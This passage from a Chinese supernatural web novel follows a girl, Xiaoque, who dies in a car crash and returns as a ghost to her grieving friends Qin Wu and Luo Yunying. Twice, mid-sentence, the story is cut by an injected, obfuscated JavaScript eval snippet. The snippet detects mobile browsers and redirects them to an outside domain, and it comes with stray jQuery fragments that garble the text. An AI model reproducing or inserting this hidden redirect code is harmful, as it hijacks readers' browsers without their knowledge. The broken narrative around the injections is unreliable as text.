雾里飘来陆颜辉的笑声:“你和这位新朋友的关系看起来不错啊。” 他盘腿坐在桥栏上,靴尖挂着异常眼熟的半截红绳。
但他并不担心。
他始终相信,自己才是骆云影心里最特别的那个。是那个在他生命中留下最深痕迹的人。哪怕被背叛了千百次,骆云影也始终舍不得彻底将他从记忆里除名。
“欸……?”
骆云影出现在了他的面前。他的肩膀被骆云影一把摁住,身体里发出“嘎吱嘎吱”的悲鸣,整个骨头都被捏碎的剧痛让他额头渗出汗。
但陆颜辉依然在笑,似乎这点牺牲不过是必要的享乐过程。
更多的鬼被唤出来,骆云影松开了双手,旋即从掌心扯出锁链,冰冷的链条化作足以切割万物的镰。
少年就这样轻松地将它们尽数消灭。他踩着碎影掠过,掌心在陆颜辉肩头轻轻一点,恍若拂去柳絮。少年右眼忽地绽开红梅,血丝攀着瞳仁生长。
厉鬼碎成青烟飘散。陆颜辉望着骆云影靴尖溅起的水花,忽觉这场景似曾相识——曾经不也是这样?“你果然很厉害啊。”
骆云影眯起眼睛笑,“那就更不能让你活着了呢。”
“……”自指尖传来的脱力感让陆颜辉惊恐了表情。
“怎么了?用不了灵力了吗?” 银丝垂落如枯藤,骆云影用指尖轻轻一掸,它们便随风散去不留痕迹。 “人有三火。你肩上的人火已经被我灭了两把,现在……只剩下头顶的最后一把了。”
“你,你在开玩笑吗,人类怎么可能做到这种事……!” 话音未落,陆颜辉已踉跄跌坐,掌心银丝化作齑粉簌簌飘散。“你到底做了什么啊……!!”他将会弱的连个普通人都比不上!别说召唤鬼魂,他下半辈子可能都会在因为自己阳气太弱而导致的疾病中度过啊!!
“不可能,不可能,不可能不可能不可能不可能!!!云影,你是骗我的吧……?我们不是最好的朋友吗?灭人火这种事,你也做不到的对吗……”
雨滴映着骆云影左眼鎏金右眼赤血的倒影:“作为曾经的朋友,你也应该了解我吧?你不会真的以为我有那么善良吧?
厉鬼残骸如碎瓷片坠地。骆云影揉眼,左瞳鎏金右眸湛蓝,倒映着秦梧步步逼近的身影。这人一反常态,没劝架,反而冲着陆颜辉走了两步,暴躁到劈声:“人呢?!”
陆颜辉还喘着气:“谁、谁?”
“你再说一遍试试?” 少年攥着陆颜辉衣领,指节泛白,“小鹊去哪了?——你最好现在就带我去见她,不然我现在就先——”他一副要直接动手的架势。
骆云影眼皮一跳,总有种被抢戏的不爽,耳边却忽然响起一道熟悉的声音:
“你们吵什么呀?”
三人猛地回头。
女娃裙角干净,双颊晕红。她拽秦梧衣袖:“不过是同摆渡人讨价还价,你们倒把人家当恶鬼。干嘛这么凶巴巴的啊,小秦梧?”
秦梧怔了一下。她身上没有任何被打斗卷入的痕迹,鞋底都不沾半点泥星。影子在青石板上拖出蜿蜒的蛇形——是光线的问题吗?
“……你刚刚去哪了?”他语气慢了下来,却压得更低。
“聊天呀。”小鹊眨了眨眼, “他说以前见过我,不过记错人啦。我们讲了几句,就散啦。”
“你一个人?”
“对呀,不然我还能带谁去呀?”
“你——”
“我没事啦,你干嘛一副要打人的样子?吓死我啦,秦同学。”
有哪里不对。可秦梧却又说不清是哪一点。他喉头一动,却终究没再追问下去,只因警笛声刺破雾霭,“快走!别让他们逮了我们——”
小鹊在后头跟上,一边跑一边还喊:“你刚才是不是要揍人来着?好凶哦!幸好我回来了,不然你是不是要对他拳脚相加了?!”
“你别说话了你……”秦梧头都大了。
几人跌跌撞撞地从桥边一路奔逃,跑过街心,穿过闹市最尾的那一排老槐树,直到那片熟得不能再熟的公园。几盏昏黄的路灯立在广场边,叫影子在青石板上拖成折扇。跑得喘吁吁的三人干脆坐到了公园的石凳上。
“我说,”秦梧还在喘,“刚才要不是我英勇冲锋——骆云影你大概就要和他进行一场感情大和解了吧?”
“你少来。”
小鹊晃着狗尾草蹦:“你们说陆颜辉那人,是不是小时候被狗叼走过?”
“啊?你怎么一脸像捡到了宝贝似的……”秦梧嫌弃看着她,“你才捡条命回来,不知道的还以为你逛了趟超市。”
“我这不是回来了嘛,”她坐在他身边,一屁股把他往旁边挤了挤,“你刚才一副要揍人的样子,谁看了都以为你失恋了。”
“我失什么——”秦梧正要反驳,忽然一愣,低头打量了她一眼。小鹊今天有点奇怪,像是镜子里映出来的月亮,不扎根,没份量。可他还没细想,小鹊已经笑着偏了头:“看什么呀?我脸上开花了?”
“……没有。”秦梧皱了下眉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835174|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,没接话——他的第六感正在尖叫。
公园玉兰开得正好,香气混着广场舞的鼓点飘来。穿绸衫的老太太们正转着圈,手中折扇翻飞如白蝶。卖糖人的小贩推车轱辘吱呀作响,吹出的孙悟空还擎着半根没凝固的金箍棒。骆云影拍落裤脚草籽:“走吧。”
“你们慢走,我看见地上有个能踩的蚂蚱。”
“现在又不是春天,哪来的蚂蚱?”
“说不定是鬼变的。”她眨眨眼。
话音未落,她已蹦向马路对面。灯光拉着她影子很长,长到快碰到对面马路牙子的白色反光线。
然后…….“吱——!!”
刹车声撕破夜色时,卖糖炒栗子的老汉刚揭开锅盖。焦香混着轮胎摩擦的焦糊味在空气里炸开。那是一辆黑色的小轿车,像头失了控的野狗,从巷口蹿出来,直直撞了上去。
秦梧脸色一白,冲过去时已经晚了一步。司机惊恐地拍着方向盘,嘴一张一合,说不出话。前挡风玻璃破了,裂纹像蛛网一样张牙舞爪,中心却空了。
小鹊倒在马路中间。她的脸朝向他们,嘴角还挂着一点点没来得及褪去的笑意。血却悄悄地,从她的耳后漫出来。
“……小鹊?!”秦梧的声音抖了,“小鹊——!!”
但她没再答应。
骆云影冲过来,手刚碰到衣角却又硬生生停住了。空气里忽然浮起一股熟悉的冷意——那是鬼气。不,准确来说,是怨气。
怨气燃尽的残影像条奄奄一息的小蛇,正悄然地牵引着事故的走向。那辆车,不是失控——是被拉了线。而她……早就被“标记”了。
血珠子顺着柏油路缝隙蜿蜒,在“禁止停车”的黄线旁汇成小小的胭脂潭。穿太极服的老太太们仍在转圈。卖气球的小贩松开手,米老鼠形状的气球歪歪斜斜升上夜空,尾巴上还拴着半截断线——夜晚仍是人间。
可谁也没来得及说“回家”,而她已经先走了。
秦梧记不清后来发生了什么。
他瘫坐在马路牙子上,看骆云影一拳拳砸向虚空,青砖裂缝里嵌着怨鬼的血肉,尖啸声似野猫在夜里被剖开肚子——尖锐、撕裂、毫无节制。可秦梧只是坐在地上,呆呆地看着,不觉得可怕。他只觉得——烦。
烦人。烦鬼。烦这城市的夜。烦她的血怎么那么红,染了一地还不够,顺着水泥缝流了老远。
他听到救护车的声音。也许还有人拍他的肩,说“小伙子你认识她吗?”“小伙子你冷静点——”穿制服的影子在眼前晃。秦梧盯着那人胸前的纽扣——他不知道,他只记得风吹过来,发丝黏在苍白的脸上。秦梧伸手,指尖湿漉漉的,却越抹越脏。
他本来是想帮她捋头发的。
警察来了,医生来了,围观的人也来了,一圈圈的。有人喊着“车祸”“孩子”,有人哭,还有人偷偷拿手机拍照,被骆云影骂了一句脏话,吓得跑了。
小鹊是被抬上担架的。她很轻,担架架起来的时候,像一张空纸。
担架抬走了,他想跟着走,可却脚软,怎么也抬不起来。警察又来问话,说:“你是她什么人?”他张张嘴,愣是答不上来。
“朋友?”
不是。
“同学?”
也不是。
“家属?”
他好像一时没能明白这个词是什么意思。
清洁工提着铁皮桶泼水,血色在青石板上晕开,像小童打翻的红色水彩。秦梧想起那日她偷用番茄酱画的涂鸦,歪歪扭扭写着“此乃秦大将军”,墨迹未干就被他撕了。他还笑骂了她一顿。现在想想,好像——也没什么好骂的。
后来,好多事都发生得像过电影。镜头一晃,是医院的长廊;一晃,是警局;再晃,是回到家,沙发上空荡荡的,连她留下的书包也不在了。
她父母终于从外地赶回来,眼窝深陷如干涸的井,可一句哭声都没有。他爸说:“谢谢你们。”他妈说:“她有你们这样的朋友真好。”
那天晚上没人吃饭,锅是空的,筷子都没拿出来。
他躺在床上,眼睛一眨不眨。窗帘没拉,外头的灯光一下一下地打在墙上,像走马灯。他想起小时候玩过一个游戏,两个小人儿蹲在院墙根,手电筒的光投在墙上。
小鹊也玩过,还说:“你这鬼影子胖得像发糕!”
那声音还在他耳边。
他翻过身去,把脸埋进枕头。过了好一会儿,又翻回来,伸手去抓床头的手机。
什么都没发生。信息列表里她最后一句是:“今晚放学别跑,我带你去吃炸串。”
他没回,她也没催。
炸串摊还在不在他不知道,但他知道,从今以后——他一个人,永远也吃不下那家炸串了。
12. 捉迷藏
屋里开着灯,一盏昏黄的老吊灯,灯罩是他妈生前留下的旧布做的,洗过很多回,边角都发白了。光不够亮,在天花板上漾出一圈一圈的影子。秦梧陷在沙发里,像件梅雨天没晾干的粗布衫,指尖在搪瓷杯沿画圈。
门开了,骆云影进来。
他脱了鞋,换了拖鞋。然后走到沙发旁边,停下,站着,看他一眼,又看一眼地板。那上头的泥点子渐渐蜷成褐色的蛾,像踩过来的时候没注意,谁也没说话。
“对不起。”骆云影开口,说得很轻。
“嗯。”秦梧喉头滚出个闷响。
骆云影不耐烦地皱了下眉,又说了一遍:“我说——对不起。”
“嗯。”
骆云影眼里闪了什么东西。他扶着椅背坐下,动作有些重,叫木头椅脚在地板上刮出一声尖响。他撇开头,冷冷地说:“你他妈倒是说句别的啊。”
秦梧侧头看了他一眼。眼底没有责怪,也没有仇恨,只是……空。像一个玻璃罩子扣在海底,什么都进不去,也出不来。
骆云影的头发遮住了脸:“我没挡住。我那时候……慢了。” 声气里掺着铁锈味,像是吞了碎瓷片。少年攥紧了拳,“我应该早点反应过来的,她就不会——”
秦梧打断他:“不是你的错。”
骆云影愣住了。
“是那只鬼的问题。是她身上带着它。不是你的错。”秦梧声音依旧平淡,平得像死水。
骆云影咬着牙,没说话。他向来是骂人的,不会安慰人,今天连“对不起”都用了两次,已经把词库掏干了。他再坐一会儿,没坐住,站起来,说:“我走了。”
秦梧没拦,只点了点头。
秦观海是晚上快十点回家的。锁眼轻响,他爸拎着油纸包闪身进门:“吃点?”
秦梧摇头。
“新磨的。“秦观海搓了把脸。”芝麻粒儿还蹦着呢。”
秦梧盯着搪瓷杯沿的茶垢摇头。灯光里,父亲下巴的胡茬泛着青,看上去老了很多。他没像平常那样说“你丫怎么又不睡”,也没说“少年人别老装深沉”,只是叹了口气,说:“我那会儿……在工地,手机静音了,没接上你电话。”
秦梧“哦”了一声,像是回答,又像不是。
秦观海捏了捏自己的眉心:“小鹊那孩子啊,我以前总觉得她闹腾,没个正形……但她其实,是个很好的孩子。”他有些强颜欢笑:“走夜路都吹口哨给自个儿壮胆的主儿,阎王殿前准保还要讨价还价。”
秦梧抬头,他那双眼睛红得像熬了一宿,仍然没落一滴眼泪。
“她没变怨鬼,说明她最后没恨。她不是怨你们,她只是……没来得及告别。”这话说完,屋里又静了。他爸又说:“你可以哭一下。你妈在的时候也说,别什么都憋着,不是老爷们儿就不能哭。”
秦梧摇头,“我没事。”
秦观海点了点头,然后伸手,指尖摩挲着烧饼上的焦斑:“放着也冷,等你想吃了就热一下。”
屋里又静了,连墙上的挂钟都不吱一声了。
秦梧嚼着冷掉的烧饼,芝麻粒嵌在牙缝里,硬得像是咬开腌菜坛子的泥封。他摸出手机,手指僵硬地在屏幕上划了划,在她的对话框里输了一行字:【我很想你。】
但他没发出去。只是看了一眼,然后把手机扣在茶几上,靠在沙发上,仰头看那盏昏黄的灯。灯有点晃,像摇船。
梦来得轻悄。小鹊蹲在槐树底下啃炸串,油星子溅在校服前襟,说:“你怎么还不来?我都快吃完啦。”她笑着,眼睛亮亮的。
然后他醒了。
日子还是过下去了。
秦梧请了假,没和班主任多说,只扯了个不疼不痒的理由。那边也没追问太多。学校里倒是传得飞快,班主任在晨会上念讣告,薄纸片贴公告栏三日便卷了边。然后——该上课的上课,该补课的补课,成绩线照样划。
他本来也知道,这个世界不会为了谁停一停脚步,可等真轮到自己头上,才知道这破世界到底有多凉薄,凉得一点人味儿都没有。
他待在家,大多数时候沉默不语。不是装,也不是矫情,而是——说话这件事忽然变得太困难了,像喉咙里被贴了封条,黏腻而紧闭。他一张嘴,感觉整个人都会碎。
秦梧常坐在沙发上看光斑爬墙。晨光像把钝剪刀,把窗格影子裁成碎布条。浮尘在光柱里游——令人讨厌。
那天傍晚,他拎着速冻水饺从超市回来。
厨房的铝锅咕嘟着白气,洇湿了窗台晒的陈皮。手机屏亮起的刹那,那张狐妖画从消息栏里探出头——是小鹊以前的账号。她没有再更新,最后一条是那句熟悉得令人牙酸的语气:“大家快看!我新画的狐妖长这样!”
他盯着那张图看了好久。
锅盖突然蹦起,热浪扑得眼眶发酸。他蹲下来,把头埋进膝盖里。
夜里快十一点,风穿过走廊,吹落他书桌上一张卷子——小鹊的圆珠笔印子还趴在那道错题上。他故意留着,说“改错别想偷懒”。
秦梧捡起时忽见纸背浮着几行浅痕,字迹轻飘如蛾翼振翅:
“街角铜铃晃三更
青石板上苔痕生
灶王爷案头香灰冷
夜归人,莫问魂。”
秦梧后颈汗毛竖如麦芒。他没有喊,也没有丢掉纸,只是一下子坐到椅子上,呼吸猛地乱了,心跳像有人在屋里小跑。
他不知道自己有没有疯。那天起,他不愿再看见神鬼,也没开过阴阳眼,小鹊的死于他而言是一次干脆利落的斩断,再也没有,再也不会。
可现在——他开始怀疑。
她真的走了吗?
她现在,是“人”吗?
他脑子里浮出论坛上那行字:游魂无依,怨鬼有执,厉鬼——摄魂、夺气、啖人。
他拼命否认。他知道小鹊,她是那种连抢到好题都要分你一半的人,她怎么会、怎么可能——可另一个声音在脑里悄悄响起:她死的时候,不该是那样的。
秦梧抽出抽屉里的那盒“辟邪香”,是她以前胡乱从论坛积分换的,非说香盒上的符咒像油炸麻花。他点了一截香,插入香炉,坐回书桌前。香气淡而青,有种雾蒙蒙的晨钟未响的感觉。小鹊总爱往熏香里掺陈皮,说这样能腌出酸甜的梦,所以这淡雅的她必然是嫌不够的。
烟丝一点一点往上漂…然后,他眼角瞥见镜子。那面镜子照着房间一角,书桌、书柜、还有他自己的背影。但在镜子的边缘——有一道影子,模糊地晃了一下。
不是帘子,不是灯影,倒像谁家晾晒的棉纱裙。
他猛地回头——空无一物。
秦梧攥住扶手的竹篾,篾片刺进掌心,疼得真切。他既想她是鬼,还害怕她真的是。
他知道,如果她真的变成了什么东西,那也不会是那种乖巧听话的温柔鬼魂。她不会哭着说“对不起”。她不会像人类那样温驯地解释。
她会笑,会像以前那样笑眯眯地看着你,然后站在不该有她的地方。
下一刻,他听到一声极轻的叩击。秦梧转头时带翻椅子,杯子骨碌碌滚向暗处——墙根蹲着个瓷娃娃似的人儿,发梢别着褪色的蝴蝶结,正是她央求自己编的样式。
她不是小鹊——不是了。可那眉眼,那声息,分明又是她。
秦梧终于失控地叫了一声,呼吸断裂。
她动了,像是一步一步——不是走,而是“掠”——从镜像世界里朝他靠近。
她没有说话,也没有解释。
她不需要。
她在这。
那团身影缓缓起身。
她的皮肤过于白了,白得像腌制不当的藕片,彩色的虹膜里游着七彩光斑,像水族箱里困着千百尾霓虹鱼。身上穿着校服,但洗得发灰,衬衣皱巴巴贴在骨架上,像是谁在梦里胡乱描摹了一遍记忆中“她”的样子——一具崩坏的女童模版。
“秦——梧——”尾音拖得绵软。
他脚下一软,几乎没站稳。他不该动的,理智尖叫着“别过去”,可他却一步步地往前迈。“你……你回来了?”声音破碎得不成样子。
女童嘴角仍然挂着那抹不合时宜的笑。“我有点想你。”她说。
他屏住呼吸,嘴唇干裂发白。他终于明白她身上那种“错位感”是什么了。她太“完整”了——完整得不该存在于鬼魂身上。每一根发丝、每一个指甲缝仿佛被谁小心地保养过,甚至比她生前还鲜活。
“你不欢迎我吗?”她歪着头问,像是三岁小孩要糖吃被拒了。
秦梧死死咬住下唇,血腥味在口腔里弥散开:“你……你还记得你怎么死的?”
她愣了一下,像是没听懂,接着笑了:“我怎么会死呢?”
“你看,我不是好好的吗?”
他下意识地后退,后腰撞到了桌角。“小鹊,”他低声说,“你不是人。”
她听了,像是有点委屈,眼角垂了下来,却没落泪。她不会哭的,鬼是不会流泪的。
“那你呢?”她反问,“你还是人吗?”
“我死了,你继续上课、刷题、吃水饺。你是人吗?你有心吗?”
秦梧猛地抬手,一掌推向她的肩——却推了个空。他望着镜中那张稚气未脱的脸——梨涡盛着蜜,再衬着眼角的泪痣,恍若中元节供案上摆坏的糯米娃娃。
“你想让我变成鬼。”她说,“你怕我变成鬼。可你又舍不得我彻底走,对吧?”
“所以我来了,秦梧。”最后那句,像刚学会说话的小孩捏碎了嗓子,软而黏地黏在他心口上。
秦梧忽然踉跄着退了好几步,胸腔剧烈起伏。他终于明白了。这不是“小鹊”——不全是。她像一只从深渊里抽丝剥茧爬出来的蛹,吸着记忆和执念长出了新的形状。
镜子里的小鹊歪着头看他,像看一个养坏了宠物又想丢掉的孩子。“我们玩游戏吧?我还记得你小时候教我数阶梯。”她忽然哼起童谣,尾音黏着糖丝似的甜,“一阶哭,二阶笑,三阶踩到老鼠药——我们从一,数到十。一步一步,数到你心跳停下来。”
秦梧终于颤抖着转身,拔腿就跑。可他知道——她一定还在,他跑不掉。因为他心里那点不敢说出口的愿望,已经悄悄地把她召了回来。
他猛地撞开房门,一头冲进客厅。门“咔哒”一声关上,家里安静得出奇,像是整座屋子都在屏息等待。
秦梧站在原地,心跳急促。
“小鹊”没追出来。她向来不会追,可她会藏。
他下意识看向四周。沙发后、餐桌下、鞋柜、卧室门后、他童年时最喜欢钻进去的储物间——这些地方,全都能藏人。他忽然冷得发抖。
——她还记得他小时候藏过的所有地方,也记得他找她时的顺序。
“我们玩游戏吧。”她说过的。他曾经亲口教她玩这个:“躲好,我数十秒。”——那时候她还不及凳子腿高,嘴里全是糖和话梅味。可现在她说这句话的时候,带着腥气和血糖一样的甜意:“你要是躲不住,就要被我吃掉哦。”
他一屁股坐在地上,靠着鞋柜,嘴唇发白。
“十……”
“九……”
她真的回来了,可她也真的不是人了。她现在的模样太完整了。完整得不像厉鬼,反而像是记忆捏出的理想形——是他脑子里那个“她”的样子。
她头发上的发绳,是他小学三年级送她的。她脚上踩着的,是他妈给她买的小布鞋。他早忘了这些细节,只有鬼会记得如此清楚。那不可能是巧合。
那是她特意的;她在吓唬他。她也知道该用什么方式吓到他最狠。
她走到了楼梯拐角。“秦——梧——”尾音打着旋儿,甜得像糖蒜腌过了头。她忽然贴着柜门哼起数楼梯的童谣,每个音调都踩着记忆里的节拍:"四阶猫,五阶跳,六阶门后手探到……"
他猛地捂住嘴,不让喘息声泄露。“小鹊……”他在心里念,“你还记得,我小时候最怕你躲进阳台窗帘后,故意不出声的样子吗?”
窗帘后是一扇紧锁的玻璃窗。那是他从小的心理阴影。因为有一次他真的以为她不见了,哭了整整一晚,后来她自己从窗帘后钻出来,笑着说“骗你的”。那是他们最后一次玩捉迷藏,他再也不想玩了。
但她记得,她全记得。
现在她变成了厉鬼,回家来找他,玩这最后一次的捉迷藏。
“咚。”她走下最后一级台阶。客厅陷入诡异的寂静,直到楼板忽地响起弹珠滚动的脆响。秦梧颈后寒毛竖如麦芒,他分明记得那玻璃珠早被她丢进落成湖——此刻却从柜底骨碌碌滚出。
“秦梧。”
“我找到你了。”
她轻轻地蹲下,脸凑近门缝,透过缝隙,看进他眼睛。“你输了。”她轻轻说。
“所以……我可以把你带走了吗?”
秦梧身体发紧,眼前一黑。
小鹊盯着他看了一会儿,半晌,忽然扑哧一声笑了。
她笑得前仰后合,差点一头磕在茶几腿上。“你刚刚那个表情,真像你小时候以为我被怪物叼走了,哇地一声就哭出来。”
秦梧还靠在鞋柜边上,愣着。像是捱了一棍,眼眶忽然发涨。他没动,只看着她。
她笑够了,站起来拍拍膝盖,走到书架边踮起脚。“诶?你怎么把糖罐放那么高。”白棉袜滑到脚踝,那肌肤白得过分,还有一道已经几近看不见的疤——去年爬树摘桂时蹭的。
她那时候就漂亮。
现在也还是。甚至漂亮得更不像人了。
唇角噙着抹孩童讨糖似的笑,偏生裂着几道细纹——像是官窑瓷偶被顽童磕出的瑕疵,反添三分诡艳。要不是她穿得还是那件洗得发白的T恤,像极了《富江》里那个还没被人发现是怪物的“少女”。
秦梧呆呆地看她,眼里蒙了水汽。
小鹊嘬着梅子糖:“做鬼好累啊……本来是个游魂的,飘来飘去蛮舒服的。结果在巷子口遇到一个可帅可帅的男人,随手给我注了一团怨气,还说什么‘以你为器’,搞得我好像升职了。结果现在一堆规矩,怕佛咒,怕桃木,还不能乱哭。哭了人家说我鬼压床。”
秦梧仍旧没动。半晌,他忽然说:“……可是厉鬼是没法投胎的。”
小鹊顿了一下,然后耸耸肩,“噢,那就没法吧。”
门吱呀一声开了。
秦观海拎着公文包,站在门口没有动。他的目光落在厨房门口。
他看见厨房门框投出的细长影子,随着蒸汽微微发颤。秦梧的声音从水汽里漏出来: “……小鹊,我能抱抱你吗?”
秦观海站在那里,一时没敢进屋。仿佛门槛变高了,要迈进去得脱点什么。比方说,一层皮,一点心。于是最后他扶着鞋柜换棉拖鞋。左脚袜子后跟破了个洞,大脚趾蹭着绒布。
厨房里没动静,当然也不是完全没动静,因为他看见她了。小鹊坐在矮凳上仰头笑,眼睛弯弯的。不是人笑鬼,也不是鬼笑人,就是笑。
秦观海忽然有些走不动路了。
小鹊一见他,立马蹦起来:“老秦头你回来啦?吃面吗?我煮的,秦梧切的菜哦!”
“……好。”他声音发涩。
秦观海摘眼镜擦水雾。镜腿螺丝松了,硌得耳后发疼。他低头吃面,没说话。
小鹊盘腿坐他对面,拖鞋勾着脚晃荡。她挑着面条咬断:“今天好冷啊。阴阳界也没开空调。”半真半假在说笑,可秦观海听得心里一酸。他不是不懂。他是做了这么多年捉鬼师的人,办过多少案子,安抚过多少家庭,可是……
他看着她的手,那只白得不太正常的手,拇指处还有一道几近透明的疤。她小时候在槐树杈摔下来。碘酒棉签刚碰伤口,她一口咬住他虎口,哭得打嗝:“不许涂药!”
那时候她是人。是孩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835175|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子。
现在她是鬼。还是孩子。
秦梧抬头看他,眼圈红红的,不像哭过,倒像捱了谁一巴掌,却还没缓过劲来。“爸……她不害人。”这话生涩,像含了颗腌橄榄。
秦观海抿了口面汤,没有接话。
小鹊嘴角还挂着笑,像没听见似的,又夹了一筷子菜放他碗里:“老秦头你多吃点嘛,晚饭老是不好好吃,小心得胃病。”
她记得。他一阵钝痛。她还记得啊…可她不是人了——他不是不想答应,甚至想,就这么让她住下吧,像以前一样。她写作业,他看文件;她偷吃糖,他装作没看见。
可他太清楚了。
厉鬼,是没法久留的。她会被牵动,会有夜深人静时,忘记自己不该走进别人的梦。她也许并不想害人,可怨气会像水草一样缠住她,把她往黑里拖。
“老秦头……”小鹊忽然认真地看他,“我没有想变成厉鬼的。”
她低着头,用筷子一点点拨着碗里的韭菜,“我其实是游魂来的。可后来看见一个男的,就……唉,他看起来,好像也挺需要我。”
秦观海看着她,又看了一眼秦梧。这小子不躲他的眼,反而像是怕他说出什么来,眼神里有点倔,又有点慌。
屋里静了一会儿。
“抱她吧。”秦观海忽然开口,声音很轻,“趁她还肯让你抱。”
秦梧一愣,小鹊也愣了。
“以后,可能抱不到了。”他说,“她越来越冷,就再也暖不过来了。”
秦观海站起来,去了阳台。
雨停了。
秦梧回到学校那天,见骆云影靠在走廊阴影里啃冰棍。不是那种高级的巧克力外壳、香草心的冰淇淋,是五毛钱一根的绿豆棒,一咬嘎嘣脆。“哟,活着回来了啊。没被女鬼吸干啊?”
这人显然收到他的信息了,满脸不耐,所以秦梧没理他。
骆云影也不以为意。他不善于说关心的话,说出来的都带刺。“听说你把人护得挺紧啊。啧,也不怕厉鬼回头咬你一口,阴阳眼都给你泡烂。”
秦梧停了一下:“她不是。”
骆云影“呸”了一声,把冰棍棍子插进花坛,声音低下来:“……我知道。”他其实一直都知道。
“啧,老子天下第一的招牌,差点被个女鬼踩了脸。”他笑着骂了一句,飞半块砖头。一如既往的暴躁,但秦梧还是听懂了——骆云影其实没什么朋友;他没打算要,也从来不信有人会陪自己跑。他从小跑得太快,身边的人都掉队了;小鹊是第一个在幻境里没放手的。
“别误会啊。”他偏过头,“我就是看不惯她那傻样。”
秦梧没搭话,只是盯着花坛边沿的冰棍棍子。棍子尖还粘着点绿豆渣,糖水滴进砖缝里,引来几只黑蚂蚁。风掠过树杈时,图书馆墙根现出个人影。
秦梧先看到她,不过这时旁边的同学叫“秦梧!”只得无奈暂且让两人叙旧。
然后是骆云影。这人是真愣了——尽管打了预防针,可他没想象的不是…上个月幻境里,这姑娘拽着他跑过奈何桥。眼下她活生生站着,连眼角那粒小痣都清晰。小鹊朝他们一笑:“哟,两个死鬼,打架吗?”
骆云影那句“你不是已经死了”卡在喉咙口,怎么都没说出来。他忽然觉得,自己那一瞬间是没皮没脸的。
他居然想哭。
可他只是扭头,“切”了一声,张口欲说话,却瞧见女娃朝他过来。第一反应是躲——不是怕,是本能。毕竟阳气旺盛的人身上会带火,那是活人骨血里的光。鬼靠太近,会像烟遇了风,被烫得魂魄发虚,甚至直接被阳气逼散。
可她偏偏朝他走来。
“别过来。”他的声音还是臭的。
小鹊却不依:“我看看嘛,你生气了呀?是不是还在怪我擅自死去?”
“别装了。”骆云影对自己的人火有自知之明,“你靠我这么近,不疼么?”
其实是疼的。
她右手腕泛出红疹,指甲盖泛青,像冻坏的萝卜皮,又像被人一点点剥了皮,在阳光下晾着。魂体是没有血的,但她能感觉到那种熟悉的、曾经是人的疼。可女娃只是笑得更甜了些,然后伸手去挽住骆云影的胳膊。
“喂你疯了——!”少年本能想抽开,却被她轻轻一扯。
“别动嘛……也许我,是特别的呢?”
“你胡说八道。”骆云影咬着牙,死死盯着她那只手腕,红疹子顺着血管往上爬,皮肤腾起细烟,混着操场飘来的塑胶味。“你真他妈当是晒腊肉呢?你明明——你明明在冒烟!”
“嗯哪。好像真的有点疼欸……不过不严重啦。”她眨了眨眼,“你看,我还能动。”活脱脱一膝盖破皮的顽童,却强头倔脑非要挺着。
骆云影看着她那只已经泛起青白的指节,忽然就有点说不出话。他当然知道,她早该散了的——阳气烫魂,灼的是骨、是魄,是能让一个游魂当场灰飞的。可她仍没皮没脸地站在这里,跟狗皮膏药似的。
“……你没事吧?”他低声问了一句。
“有事呀。”她回答得坦坦荡荡,“我可惨啦,死都死了,还要努力社交、努力不变透明、努力笑,还要忍着你这么臭的脾气。”
骆云影别开脸不说话。
“……你疯了吗?!”归来的秦梧冲上前来,声音是吼的,带了点破音,十六岁男孩临界的声带一下没稳住,“你知不知道你在做什么!”
“欸,秦梧,你来了呀。”
“你——你……”他攥住小鹊手腕。她果然疼了,眼角轻轻一颤,却依旧乐颠颠地笑:“不是说好了当鬼不能矫情么,我还挺能扛的嘛。”
“你能扛个屁!”秦梧忍不住骂了句,“你别……你别再做这种事了。你要是真的散了怎么办?”
“我就特别不散呗。”她轻轻哼了一声,“都说了,我是特别的。”随后踮脚戳他耳垂:“哭包。上回数学考砸也没见你红眼。”远处传来欢笑,盖过骆云影的轻嗤。他甩开胳膊要走,小鹊拽住他书包带:“小骆子,薄荷糖还有么?”
小鹊这鬼当得蹊跷。
——按理说,厉鬼都不大好看。身上不是缺胳膊就是少腿,眼珠子挂在外头晃,脖子上套锁链,脚底下拖肠子,头发全倒着长,像锅里炸出来的咸菜须。脸白得发青,眼珠子红得发黑,一开口就是哭,哭得镜子都起雾,哭得活人心头起老茧。
可小鹊不是这样的。
她偏生比生前还好看。
魂体是凉的,皮白净似新蒸的米糕,偏生透着股冷气。眼角天然噙着笑意,倒比活着时更活泛。以前她爱跳爱闹,头发总是乱的,后总压出几撮。现在她头发顺顺地披着,眼角却添了一点不属于人间的红。
她身上有怨气,还不少。有实体,能提笔写字,也能抱人。
秦梧知道这一点后,回去把门窗全擦了一遍,说是“空气不流通她容易虚”。她却在他身后咯咯笑,说:“我本来就虚。”还故意从背后扑过去,把他吓得一脚踹了凳子。
是厉鬼吧?看着像。
但路人看不着她。晨起往街边摊买糖人,摊主眼皮都不抬。她自顾自挑了个蝴蝶样式的,铜钱搁在案上叮当响。菜市口王婆晾被单,她蹲在晾衣绳底下躲阴凉。买菜婆子们端着竹筛穿身而过,筛眼漏下的茴香籽粘在她发梢。
正午日头毒,她往槐树荫里一坐。树皮上自己十岁时刻的“秦梧大笨蛋”还在,刀痕里积着陈年灰。蚂蚁列队爬过布鞋面,她屈指弹开,指甲盖泛着藕荷色——活人染不出这般匀净。
她也哭,也笑,也吃糖,也发脾气,还会因为网速卡了去拔秦梧家的路由器,也会因为骆云影嫌她话多生气地躲进窗帘后头。
她是鬼,可她就像不是。
